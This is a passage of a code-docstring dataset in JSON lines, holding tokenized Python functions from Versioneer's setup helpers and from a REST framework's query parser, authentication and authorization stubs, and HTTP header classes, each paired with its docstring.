ver)<EOL><DEDENT>return ver<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>ver = versions_from_file(versionfile_abs)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (versionfile_abs, ver))<EOL><DEDENT>return ver<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>from_vcs_f = handlers.get(\"<STR_LIT>\")<EOL>if from_vcs_f:<EOL><INDENT>try:<EOL><INDENT>pieces = from_vcs_f(cfg.tag_prefix, root, verbose)<EOL>ver = render(pieces, cfg.style)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % ver)<EOL><DEDENT>return ver<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>ver = versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % ver)<EOL><DEDENT>return ver<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None, \"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL>", "docstring": "Get the project version from whatever source is available.\n\n    Returns dict with two keys: 'version' and 'full'.", "id": "f10103:m19"}
{"signature": "def get_version():", "body": "return get_versions()[\"<STR_LIT:version>\"]<EOL>", "docstring": "Get the short version string for this project.", "id": "f10103:m20"}
{"signature": "def get_cmdclass():", "body": "if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>del sys.modules[\"<STR_LIT>\"]<EOL><DEDENT>cmds = {}<EOL>from distutils.core import Command<EOL>class cmd_version(Command):<EOL><INDENT>description = \"<STR_LIT>\"<EOL>user_options = []<EOL>boolean_options = []<EOL>def initialize_options(self):<EOL><INDENT>pass<EOL><DEDENT>def finalize_options(self):<EOL><INDENT>pass<EOL><DEDENT>def run(self):<EOL><INDENT>vers = get_versions(verbose=True)<EOL>print(\"<STR_LIT>\" % vers[\"<STR_LIT:version>\"])<EOL>print(\"<STR_LIT>\" % vers.get(\"<STR_LIT>\"))<EOL>print(\"<STR_LIT>\" % vers.get(\"<STR_LIT>\"))<EOL>if vers[\"<STR_LIT:error>\"]:<EOL><INDENT>print(\"<STR_LIT>\" % vers[\"<STR_LIT:error>\"])<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT:version>\"] = cmd_version<EOL>if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>from setuptools.command.build_py import build_py as _build_py<EOL><DEDENT>else:<EOL><INDENT>from distutils.command.build_py import build_py as _build_py<EOL><DEDENT>class cmd_build_py(_build_py):<EOL><INDENT>def run(self):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>versions = get_versions()<EOL>_build_py.run(self)<EOL>if cfg.versionfile_build:<EOL><INDENT>target_versionfile = os.path.join(self.build_lib,<EOL>cfg.versionfile_build)<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile, versions)<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_build_py<EOL>if \"<STR_LIT>\" in sys.modules:  <EOL><INDENT>from cx_Freeze.dist import build_exe as _build_exe<EOL>class cmd_build_exe(_build_exe):<EOL><INDENT>def run(self):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>versions = get_versions()<EOL>target_versionfile = cfg.versionfile_source<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile, versions)<EOL>_build_exe.run(self)<EOL>os.unlink(target_versionfile)<EOL>with open(cfg.versionfile_source, \"<STR_LIT:w>\") as f:<EOL><INDENT>LONG = LONG_VERSION_PY[cfg.VCS]<EOL>f.write(LONG %<EOL>{\"<STR_LIT>\": \"<STR_LIT:$>\",<EOL>\"<STR_LIT>\": cfg.style,<EOL>\"<STR_LIT>\": cfg.tag_prefix,<EOL>\"<STR_LIT>\": cfg.parentdir_prefix,<EOL>\"<STR_LIT>\": cfg.versionfile_source,<EOL>})<EOL><DEDENT><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_build_exe<EOL>del cmds[\"<STR_LIT>\"]<EOL><DEDENT>if \"<STR_LIT>\" in sys.modules:<EOL><INDENT>from setuptools.command.sdist import sdist as _sdist<EOL><DEDENT>else:<EOL><INDENT>from distutils.command.sdist import sdist as _sdist<EOL><DEDENT>class cmd_sdist(_sdist):<EOL><INDENT>def run(self):<EOL><INDENT>versions = get_versions()<EOL>self._versioneer_generated_versions = versions<EOL>self.distribution.metadata.version = versions[\"<STR_LIT:version>\"]<EOL>return _sdist.run(self)<EOL><DEDENT>def make_release_tree(self, base_dir, files):<EOL><INDENT>root = get_root()<EOL>cfg = get_config_from_root(root)<EOL>_sdist.make_release_tree(self, base_dir, files)<EOL>target_versionfile = os.path.join(base_dir, cfg.versionfile_source)<EOL>print(\"<STR_LIT>\" % target_versionfile)<EOL>write_to_version_file(target_versionfile,<EOL>self._versioneer_generated_versions)<EOL><DEDENT><DEDENT>cmds[\"<STR_LIT>\"] = cmd_sdist<EOL>return cmds<EOL>", "docstring": "Get the custom setuptools/distutils subclasses used by Versioneer.", "id": "f10103:m21"}
{"signature": "def do_setup():", "body": "root = get_root()<EOL>try:<EOL><INDENT>cfg = get_config_from_root(root)<EOL><DEDENT>except (EnvironmentError, configparser.NoSectionError,<EOL>configparser.NoOptionError) as e:<EOL><INDENT>if isinstance(e, (EnvironmentError, configparser.NoSectionError)):<EOL><INDENT>print(\"<STR_LIT>\",<EOL>file=sys.stderr)<EOL>with open(os.path.join(root, \"<STR_LIT>\"), \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(SAMPLE_CONFIG)<EOL><DEDENT><DEDENT>print(CONFIG_ERROR, file=sys.stderr)<EOL>return <NUM_LIT:1><EOL><DEDENT>print(\"<STR_LIT>\" % cfg.versionfile_source)<EOL>with open(cfg.versionfile_source, \"<STR_LIT:w>\") as f:<EOL><INDENT>LONG = LONG_VERSION_PY[cfg.VCS]<EOL>f.write(LONG % {\"<STR_LIT>\": \"<STR_LIT:$>\",<EOL>\"<STR_LIT>\": cfg.style,<EOL>\"<STR_LIT>\": cfg.tag_prefix,<EOL>\"<STR_LIT>\": cfg.parentdir_prefix,<EOL>\"<STR_LIT>\": cfg.versionfile_source,<EOL>})<EOL><DEDENT>ipy = os.path.join(os.path.dirname(cfg.versionfile_source),<EOL>\"<STR_LIT>\")<EOL>if os.path.exists(ipy):<EOL><INDENT>try:<EOL><INDENT>with open(ipy, \"<STR_LIT:r>\") as f:<EOL><INDENT>old = f.read()<EOL><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>old = \"<STR_LIT>\"<EOL><DEDENT>if INIT_PY_SNIPPET not in old:<EOL><INDENT>print(\"<STR_LIT>\" % ipy)<EOL>with open(ipy, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(INIT_PY_SNIPPET)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % ipy)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % ipy)<EOL>ipy = None<EOL><DEDENT>manifest_in = os.path.join(root, \"<STR_LIT>\")<EOL>simple_includes = set()<EOL>try:<EOL><INDENT>with open(manifest_in, \"<STR_LIT:r>\") as f:<EOL><INDENT>for line in f:<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>for include in line.split()[<NUM_LIT:1>:]:<EOL><INDENT>simple_includes.add(include)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>if \"<STR_LIT>\" not in simple_includes:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>with open(manifest_in, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if cfg.versionfile_source not in simple_includes:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>cfg.versionfile_source)<EOL>with open(manifest_in, \"<STR_LIT:a>\") as f:<EOL><INDENT>f.write(\"<STR_LIT>\" % cfg.versionfile_source)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>do_vcs_install(manifest_in, cfg.versionfile_source, ipy)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Main VCS-independent setup function for installing Versioneer.", "id": "f10103:m22"}
{"signature": "def scan_setup_py():", "body": "found = set()<EOL>setters = False<EOL>errors = <NUM_LIT:0><EOL>with open(\"<STR_LIT>\", \"<STR_LIT:r>\") as f:<EOL><INDENT>for line in f.readlines():<EOL><INDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>found.add(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>found.add(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>found.add(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>setters = True<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>setters = True<EOL><DEDENT><DEDENT><DEDENT>if len(found) != <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>errors += <NUM_LIT:1><EOL><DEDENT>if setters:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>errors += <NUM_LIT:1><EOL><DEDENT>return errors<EOL>", "docstring": "Validate the contents of setup.py against Versioneer's expectations.", "id": "f10103:m23"}
{"signature": "def parse(self, text):", "body": "return parser.parse(text).parsed<EOL>", "docstring": "Simple convenience function to unwrap the array of parameters.", "id": "f10106:c0:m0"}
{"signature": "def _load_fixture(filename):", "body": "<EOL>with open(filename, '<STR_LIT:rb>') as stream:<EOL><INDENT>content = stream.read().decode('<STR_LIT:utf-8>')<EOL><DEDENT>data = json.loads(content)<EOL>session = Session()<EOL>for item in data:<EOL><INDENT>table = Base.metadata.tables[item['<STR_LIT>'].split('<STR_LIT:.>')[-<NUM_LIT:1>]]<EOL>item['<STR_LIT>']['<STR_LIT:id>'] = item['<STR_LIT>']<EOL>session.connection().execute(table.insert().values(**item['<STR_LIT>']))<EOL><DEDENT>session.commit()<EOL>", "docstring": "Loads the passed fixture into the database following the\ndjango format.", "id": "f10110:m0"}
{"signature": "def access_control_headers(self, header):", "body": "<EOL>response, _ = self.client.options(self.right_path)<EOL>assert response.status == http.client.OK<EOL>assert header not in response<EOL>response, _ = self.client.options(<EOL>self.right_path,<EOL>headers={<EOL>'<STR_LIT>': self.right_origin,<EOL>'<STR_LIT>': self.default_method})<EOL>assert response.status == http.client.OK<EOL>assert header not in response<EOL>response, _ = self.client.options(<EOL>self.right_path, headers={'<STR_LIT>': '<STR_LIT:*>'})<EOL>assert response.status == http.client.OK<EOL>assert header not in response<EOL>response, _ = self.client.options(self.left_path)<EOL>assert response.status == http.client.OK<EOL>assert header not in response<EOL>response, _ = self.client.options(<EOL>self.left_path,<EOL>headers={<EOL>'<STR_LIT>': self.left_origin,<EOL>'<STR_LIT>': self.default_method})<EOL>assert response.status == http.client.OK<EOL>assert header not in response<EOL>", "docstring": "Test each Access-Control-Allow header here, since they\nall do the same thing.", "id": "f10115:c0:m2"}
{"signature": "def parse(text, encoding='<STR_LIT:utf8>'):", "body": "<EOL>if isinstance(text, six.binary_type):<EOL><INDENT>text = text.decode(encoding)<EOL><DEDENT>return Query(text, split_segments(text))<EOL>", "docstring": "Parse the querystring into a normalized form.", "id": "f10131:m0"}
{"signature": "def split_segments(text, closing_paren=False):", "body": "buf = StringIO()<EOL>segments = []<EOL>combinators = []<EOL>last_group = False<EOL>iterator = iter(text)<EOL>last_negation = False<EOL>for character in iterator:<EOL><INDENT>if character in COMBINATORS:<EOL><INDENT>if last_negation:<EOL><INDENT>buf.write(constants.OPERATOR_NEGATION)<EOL><DEDENT>val = buf.getvalue()<EOL>reset_stringio(buf)<EOL>if not last_group and not len(val):<EOL><INDENT>raise ValueError('<STR_LIT>' % character)<EOL><DEDENT>if len(val):<EOL><INDENT>segments.append(parse_segment(val))<EOL><DEDENT>combinators.append(COMBINATORS[character])<EOL><DEDENT>elif character == constants.GROUP_BEGIN:<EOL><INDENT>if buf.tell():<EOL><INDENT>raise ValueError('<STR_LIT>' % character)<EOL><DEDENT>seg = split_segments(iterator, True)<EOL>if last_negation:<EOL><INDENT>seg = UnarySegmentCombinator(seg)<EOL><DEDENT>segments.append(seg)<EOL>last_group = True<EOL>continue<EOL><DEDENT>elif character == constants.GROUP_END:<EOL><INDENT>val = buf.getvalue()<EOL>if not buf.tell() or not closing_paren:<EOL><INDENT>raise ValueError('<STR_LIT>' % character)<EOL><DEDENT>segments.append(parse_segment(val))<EOL>return combine(segments, combinators)<EOL><DEDENT>elif character == constants.OPERATOR_NEGATION and not buf.tell():<EOL><INDENT>last_negation = True<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>if last_negation:<EOL><INDENT>buf.write(constants.OPERATOR_NEGATION)<EOL><DEDENT>if last_group:<EOL><INDENT>raise ValueError('<STR_LIT>' % character)<EOL><DEDENT>buf.write(character)<EOL><DEDENT>last_negation = False<EOL>last_group = False<EOL><DEDENT>else:<EOL><INDENT>if closing_paren:<EOL><INDENT>raise ValueError('<STR_LIT>' % constants.GROUP_END)<EOL><DEDENT>if not last_group:<EOL><INDENT>segments.append(parse_segment(buf.getvalue()))<EOL><DEDENT><DEDENT>return combine(segments, combinators)<EOL>", "docstring": "Return objects representing segments.", "id": "f10131:m2"}
{"signature": "def parse_directive(key):", "body": "if constants.DIRECTIVE in key:<EOL><INDENT>return key.split(constants.DIRECTIVE, <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return key, None<EOL><DEDENT>", "docstring": "Takes a key of type (foo:bar) and returns either the key and the\ndirective, or the key and None (for no directive.)", "id": "f10131:m4"}
{"signature": "def parse_segment(text):", "body": "if not len(text):<EOL><INDENT>return NoopQuerySegment()<EOL><DEDENT>q = QuerySegment()<EOL>equalities = zip(constants.OPERATOR_EQUALITIES, itertools.repeat(text))<EOL>equalities = map(lambda x: (x[<NUM_LIT:0>], x[<NUM_LIT:1>].split(x[<NUM_LIT:0>], <NUM_LIT:1>)), equalities)<EOL>equalities = list(filter(lambda x: len(x[<NUM_LIT:1>]) > <NUM_LIT:1>, equalities))<EOL>key_len = len(min((x[<NUM_LIT:1>][<NUM_LIT:0>] for x in equalities), key=len))<EOL>equalities = filter(lambda x: len(x[<NUM_LIT:1>][<NUM_LIT:0>]) == key_len, equalities)<EOL>op, (key, value) = min(equalities, key=lambda x: len(x[<NUM_LIT:1>][<NUM_LIT:1>]))<EOL>key, directive = parse_directive(key)<EOL>if directive:<EOL><INDENT>op = constants.OPERATOR_EQUALITY_FALLBACK<EOL>q.directive = directive<EOL><DEDENT>path = key.split(constants.SEP_PATH)<EOL>last = path[-<NUM_LIT:1>]<EOL>if last.endswith(constants.OPERATOR_NEGATION):<EOL><INDENT>last = last[:-<NUM_LIT:1>]<EOL>q.negated = not q.negated<EOL><DEDENT>if last == constants.PATH_NEGATION:<EOL><INDENT>path.pop(-<NUM_LIT:1>)<EOL>q.negated = not q.negated<EOL><DEDENT>q.values = value.split(constants.SEP_VALUE)<EOL>if path[-<NUM_LIT:1>] in constants.OPERATOR_SUFFIXES:<EOL><INDENT>if op not in constants.OPERATOR_FALLBACK:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>q.operator = constants.OPERATOR_SUFFIX_MAP[path[-<NUM_LIT:1>]]<EOL>path.pop(-<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>q.operator = constants.OPERATOR_EQUALITY_MAP[op]<EOL><DEDENT>if not len(path):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>q.path = path<EOL>return q<EOL>", "docstring": "we expect foo=bar", "id": "f10131:m5"}
{"signature": "def __str__(self):", "body": "o = StringIO()<EOL>o.write('<STR_LIT:(>')<EOL>if self.negated:<EOL><INDENT>o.write('<STR_LIT>')<EOL><DEDENT>o.write('<STR_LIT:.>'.join(self.path))<EOL>if self.values:<EOL><INDENT>o.write('<STR_LIT>' % REVERSED_OPERATOR_SUFFIX_MAP[self.operator])<EOL><DEDENT>o.write('<STR_LIT>'.join(map(lambda x: \"<STR_LIT>\".format(str(x)), self.values)))<EOL>o.write('<STR_LIT:)>')<EOL>return o.getvalue()<EOL>", "docstring": "Format this query segment in a human-readable representation\nintended for debugging.", "id": "f10131:c1:m2"}
{"signature": "def __init__(self, **kwargs):", "body": "<EOL>self.__dict__.update(kwargs)<EOL>", "docstring": "Initialize authentication protocol; establish parameters.", "id": "f10134:c0:m0"}
{"signature": "def authenticate(self, request):", "body": "return None<EOL>", "docstring": "Gets the a user if they are authenticated; else None.\n\n        @retval False    Unable to authenticate.\n        @retval None     Able to authenticate but failed.\n        @retval <user>   User object representing the current user.", "id": "f10134:c0:m1"}
{"signature": "def unauthenticated(self):", "body": "raise http.exceptions.Forbidden()<EOL>", "docstring": "Callback that is invoked when after a user is determined to\nbe unauthenticated.", "id": "f10134:c0:m2"}
{"signature": "def get_user(self, request, method, *args):", "body": "return None<EOL>", "docstring": "Callback that is invoked when a user is attempting to be\nauthenticated with a set of credentials.", "id": "f10134:c1:m2"}
{"signature": "def can_serialize(self, data=None):", "body": "try:<EOL><INDENT>self.serialize(data)<EOL>return True<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Tests this serializer to see if it can serialize.", "id": "f10135:c0:m1"}
{"signature": "def serialize(self, data=None):", "body": "if data is not None and self.response is not None:<EOL><INDENT>self.response['<STR_LIT:Content-Type>'] = self.media_types[<NUM_LIT:0>]<EOL>self.response.write(data)<EOL><DEDENT>return data<EOL>", "docstring": "Transforms the object into an acceptable format for transmission.\n\n@throws ValueError\n    To indicate this serializer does not support the encoding of the\n    specified object.", "id": "f10135:c0:m2"}
{"signature": "def is_accessible(self, user, method, resource):", "body": "return True<EOL>", "docstring": "Determines the accessibility to a resource endpoint for a particular\nmethod. An inaccessible resource is indistinguishable from a\nnon-existant resource.\n\n@param[in] user\n    The user in question that is being checked.\n\n@param[in] method\n    The method in question that is being performed (eg. 'GET').\n\n@param[in] resource\n    The resource instance that is being authorized.\n\n@returns\n    Returns true if the user can access the resource for\n    the passed operation; otherwise, false.", "id": "f10140:c0:m0"}
{"signature": "def inaccessible(self):", "body": "raise http.exceptions.Forbidden()<EOL>", "docstring": "Informs the client that the resource is inaccessible.", "id": "f10140:c0:m1"}
{"signature": "def is_authorized(self, user, operation, resource, item):", "body": "return True<EOL>", "docstring": "Determines authroization to a specific resource object.\n\n        @param[in] user\n            The user in question that is being checked.\n\n        @param[in] operation\n            The operation in question that is being performed (eg. 'read').\n\n        @param[in] resource\n            The resource instance that is being authorized.\n\n        @param[in] item\n            The specific instance of an object returned by a `read` from\n            the `resource`.\n\n        @returns\n            Returns true to indicate authorization or false to indicate\n            otherwise.", "id": "f10140:c0:m2"}
{"signature": "def unauthorized(self):", "body": "raise http.exceptions.Forbidden()<EOL>", "docstring": "Informs the client that it is not authrozied for the resource.", "id": "f10140:c0:m3"}
{"signature": "def filter(self, user, operation, resource, iterable):", "body": "return iterable<EOL>", "docstring": "Filters an iterable to contain only the items for which the user\nis authorized to perform the operation on.\n\n@param[in] user\n    The user in question that is being checked.\n\n@param[in] operation\n    The operation in question that is being performed (eg. 'read').\n\n@param[in] resource\n    The resource instance that is being authorized.\n\n@param[in] iterable\n    The iterable of objects to be checked. This method is called\n    from the model connector so the actual value of this parameter\n    depends on the model connector (eg. it may be a django queryset).\n\n@returns\n    Returns an iterable containing the remaining objects.", "id": "f10140:c0:m4"}
{"signature": "def inaccessible(self):", "body": "raise http.exceptions.NotFound()<EOL>", "docstring": "Informs the client that the resource is inaccessible.", "id": "f10140:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _Header(sequence, name):<DEDENT>", "body": "return tuple(sequence._headers.get(name, '<STR_LIT>').split('<STR_LIT:U+002C>'))<EOL>", "docstring": "Returns the passed header as a tuple.\n\n        Implements a facade so that the response headers can override\n        this to provide a mutable sequence header.", "id": "f10141:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def normalize(name):<DEDENT>", "body": "return str(string.capwords(name, '<STR_LIT:->'))<EOL>", "docstring": "Normalizes the case of the passed name to be Http-Header-Case.", "id": "f10141:c0:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __getitem__(self, name):<DEDENT>", "body": "", "docstring": "Retrieves a header with the passed name.\n\n        @param[in] name\n            The case-insensitive name of the header to retrieve.", "id": "f10141:c0:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __len__(self):<DEDENT>", "body": "", "docstring": "Retrieves the number of headers in the request.", "id": "f10141:c0:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __iter__(self):<DEDENT>", "body": "", "docstring": "Returns an iterable for all headers in the request.", "id": "f10141:c0:m5"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __contains__(self, name):<DEDENT>", "body": "", "docstring": "Tests if the passed header exists in the request.", "id": "f10141:c0:m6"}
{"signature": "def index(self, name, value):", "body": "return self._sequence[name].index(value)<EOL>", "docstring": "Return the index in the list of the first item whose value is x in\nthe values of the named header.", "id": "f10141:c0:m7"}
{"signature": "def count(self, name, value):", "body": "return self._sequence[name].count(value)<EOL>", "docstring": "Return the number of times a value appears in the list of the values\nof the named header.", "id": "f10141:c0:m8"}
{"signature": "def getlist(self, name):", "body": "return self._sequence[name]<EOL>", "docstring": "Retrieves the passed header as a tuple of its values.", "id": "f10141:c0:m9"}
{"signature": "def bind(self, resource):", "body": "self._resource = weakref.proxy(resource)<EOL>", "docstring": "Binds this to the passed resource object.\n\n        This is used so that the request and response classes can access\n        metadata and configuration on the resource handling this request\n        so helper methods on the request and response like `serialize` work\n        in full knowledge of configuration supplied to the resource.", "id": "f10141:c1:m1"}
{"signature": "@property<EOL><INDENT>def protocol(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Retrieves the upper-cased version of the protocol (eg. HTTP).", "id": "f10141:c1:m3"}
{"signature": "@property<EOL><INDENT>def host(self):<DEDENT>", "body": "return self.headers.get('<STR_LIT>') or '<STR_LIT:127.0.0.1>'<EOL>", "docstring": "Retrieves the hostname, normally from the `Host` header.", "id": "f10141:c1:m4"}
{"signature": "@property<EOL><INDENT>def mount_point(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Retrieves the mount point portion of the path of this request.", "id": "f10141:c1:m5"}
{"signature": "@property<EOL><INDENT>def query(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Retrieves the text after the first ? in the path.", "id": "f10141:c1:m6"}
{"signature": "@property<EOL><INDENT>def uri(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Returns the complete URI of the request.", "id": "f10141:c1:m7"}
{"signature": "@property<EOL><INDENT>def encoding(self):<DEDENT>", "body": "<EOL>content_type = self.headers.get('<STR_LIT:Content-Type>')<EOL>if content_type:<EOL><INDENT>ptype, _, params = mimeparse.parse_mime_type(content_type)<EOL>default = '<STR_LIT:utf-8>' if ptype == '<STR_LIT>' else '<STR_LIT>'<EOL>return params.get('<STR_LIT>', default)<EOL><DEDENT>", "docstring": "The name of the encoding used to decode the stream\u2019s bytes\ninto strings, and to encode strings into bytes.\n\nReads the charset value from the `Content-Type` header, if available;\nelse, returns nothing.", "id": "f10141:c1:m8"}
{"signature": "def _read(self):", "body": "return None<EOL>", "docstring": "Read and return the request data.\n\n        @note Connectors should override this method.", "id": "f10141:c1:m9"}
{"signature": "def read(self, deserialize=False, format=None):", "body": "if deserialize:<EOL><INDENT>data, _ = self.deserialize(format=format)<EOL>return data<EOL><DEDENT>content = self._read()<EOL>if not content:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if type(content) is six.binary_type:<EOL><INDENT>content = content.decode(self.encoding)<EOL><DEDENT>return content<EOL>", "docstring": "Read and return the request data.\n\n        @param[in] deserialize\n            True to deserialize the resultant text using a determiend format\n            or the passed format.\n\n        @param[in] format\n            A specific format to deserialize in; if provided, no detection is\n            done. If not provided, the content-type header is looked at to\n            determine an appropriate deserializer.", "id": "f10141:c1:m10"}
{"signature": "def deserialize(self, format=None):", "body": "return self._resource.deserialize(self, format=format)<EOL>", "docstring": "Deserializes the request body using a determined deserializer.\n\n        @param[in] format\n            A specific format to deserialize in; if provided, no detection is\n            done. If not provided, the content-type header is looked at to\n            determine an appropriate deserializer.\n\n        @returns\n            A tuple of the deserialized data and an instance of the\n            deserializer used.", "id": "f10141:c1:m11"}
{"signature": "def __len__(self):", "body": "length = self.headers.get('<STR_LIT>')<EOL>return int(length) if length else <NUM_LIT:0><EOL>", "docstring": "Returns the length of the request body, if known.", "id": "f10141:c1:m12"}
{"signature": "def __getitem__(self, name):", "body": "return self.headers[name]<EOL>", "docstring": "Retrieves a header with the passed name.", "id": "f10141:c1:m13"}
{"signature": "def get(self, name, default=None):", "body": "return self.headers.get(name, default)<EOL>", "docstring": "Retrieves a header with the passed name.", "id": "f10141:c1:m14"}
{"signature": "def getlist(self, name):", "body": "return self.headers.getlist(name)<EOL>", "docstring": "Retrieves a the multi-valued list of the header with\nthe passed name.", "id": "f10141:c1:m15"}
{"signature": "def __contains__(self, name):", "body": "return name in self.headers<EOL>", "docstring": "Tests if the passed header exists in the request.", "id": "f10141:c1:m16"}
{"signature": "def keys(self):", "body": "return self.headers.keys()<EOL>", "docstring": "Return a new view of the header names.", "id": "f10141:c1:m17"}
{"signature": "def values(self):", "body": "return self.headers.values()<EOL>", "docstring": "Return a new view of the header values.", "id": "f10141:c1:m18"}
{"signature": "def items(self):", "body": "return self.headers.items()<EOL>", "docstring": "Return a new view of the headers.", "id": "f10141:c1:m19"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __setitem__(self, name, value):<DEDENT>", "body": "", "docstring": "Stores a header with the passed name.\n\n        @param[in] name\n            The name to store the header as. This is passed through\n            `Headers.normalize` before storing on the response.\n\n        @param[in] value\n            The value to store for the header; for multi-valued headers,\n            this can be a comma-separated list of values.", "id": "f10144:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def __delitem__(self, name):<DEDENT>", "body": "", "docstring": "Removes a header with the passed name.\n\n        @param[in] name\n            The case-insensitive name of the header to remove\n            from the response.", "id": "f10144:c0:m1"}
{"signature": "def append(self, name, value):", "body": "return self._sequence[name].append(value)<EOL>", "docstring": "Add a value to the end of the list for the named header.", "id": "f10144:c0:m2"}
{"signature": "def extend(self, name, values):", "body": "return self._sequence[name].extend(values)<EOL>", "docstring": "Extend the list for the named header by appending all values.", "id": "f10144:c0:m3"}
{"signature": "def insert(self, name, index, value):", "body": "return self._sequence[name].insert(index, value)<EOL>", "docstring": "Insert a value at the passed index in the named header.", "id": "f10144:c0:m4"}
{"signature": "def remove(self, name, value):", "body": "return self._sequence[name].remove(value)<EOL>", "docstring": "Remove the first item with the passed value from the\nlist for the named header.", "id": "f10144:c0:m5"}
{"signature": "def popvalue(self, name, index=None):", "body": "return self._sequence[name].pop(index)<EOL>", "docstring": "Remove the item at the given position in the named header list.", "id": "f10144:c0:m6"}
{"signature": "def sort(self, name):", "body": "return self._sequence[name].sort()<EOL>", "docstring": "Sort the items of the list, in place.", "id": "f10144:c0:m7"}
{"signature": "def reverse(self, name):", "body": "return self._sequence[name].reverse()<EOL>", "docstring": "Reverse the elements of the list, in place.", "id": "f10144:c0:m8"}
{"signature": "def require_not_closed(self):", "body": "if self.closed:<EOL><INDENT>raise exceptions.InvalidOperation('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises an exception if the response is closed.", "id": "f10144:c1:m1"}
{"signature": "def require_open(self):", "body": "self.require_not_closed()<EOL>if self.streaming:<EOL><INDENT>raise exceptions.InvalidOperation('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises an exception if the response is not open.", "id": "f10144:c1:m2"}
{"signature": "@property<EOL><INDENT>def status(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Gets the status code of the response.", "id": "f10144:c1:m3"}
{"signature": "@status.setter<EOL><INDENT>def status(self, value):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Sets the status code of the response.", "id": "f10144:c1:m4"}
{"signature": "@property<EOL><INDENT>def body(self):<DEDENT>", "body": "return self._body<EOL>", "docstring": "Returns the current value of the response body.", "id": "f10144:c1:m5"}
{"signature": "@body.setter<EOL><INDENT>def body(self, value):<DEDENT>", "body": "self._body = value<EOL>", "docstring": "Sets the response body to the passed value.\n\n        @note\n            During asynchronous or streaming responses, remember that\n            the `body` property refers to the portion of the response *not*\n            sent to the client.", "id": "f10144:c1:m6"}
